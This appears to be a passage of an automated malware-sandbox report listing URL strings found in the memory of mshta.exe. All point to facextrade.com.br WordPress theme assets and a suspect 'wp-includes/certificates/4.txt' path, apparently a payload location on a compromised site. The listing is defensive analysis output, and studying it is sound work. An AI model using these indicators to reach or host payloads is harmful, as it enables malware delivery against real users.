Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00.9.3
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js8r
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsWq
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsmr
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jspeC:
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jssLMEM
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.08
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0LMEM
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0jC:
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0qi
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0zp
Source: mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0.1
Source: mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.08
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.09.31
Source: mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0js1
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0po
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0wC:
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6E7
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6er-wp-public.js?
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6s
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3?_N
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3I
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3s7
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.00
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0P
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0S_
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0veLMEM
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20a
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.cssQ
Source: mshta.exe, 0000000A.00000002.708838404.0000000007390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFrameworkwidth=device-width
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517926370.000000000E528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560610988.0000000006A1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517868649.000000000E528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705438644.0000000006A27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.707131737.0000000006EB5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562424363.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css6
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssJ
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssoc
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssL
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.csslbd
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517330404.000000000C018000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg)
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgN
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgT
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgX0v
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpge
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgg
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgv
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.33.0.6
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.3n.js?ver=1
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0Dy
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.68w(x
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.35p
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.4
Source: mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.08
Source: mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0D
Source: mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0JLMEM
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0f
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssC:
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css)gZ
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngA
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/CherryFramework/style.css
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/CherryFramework/style.cssue6
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#X;
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#top
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#topJt
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt...
Source: mshta.exe, 0000000A.00000003.516981134.000000000C00C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.eot
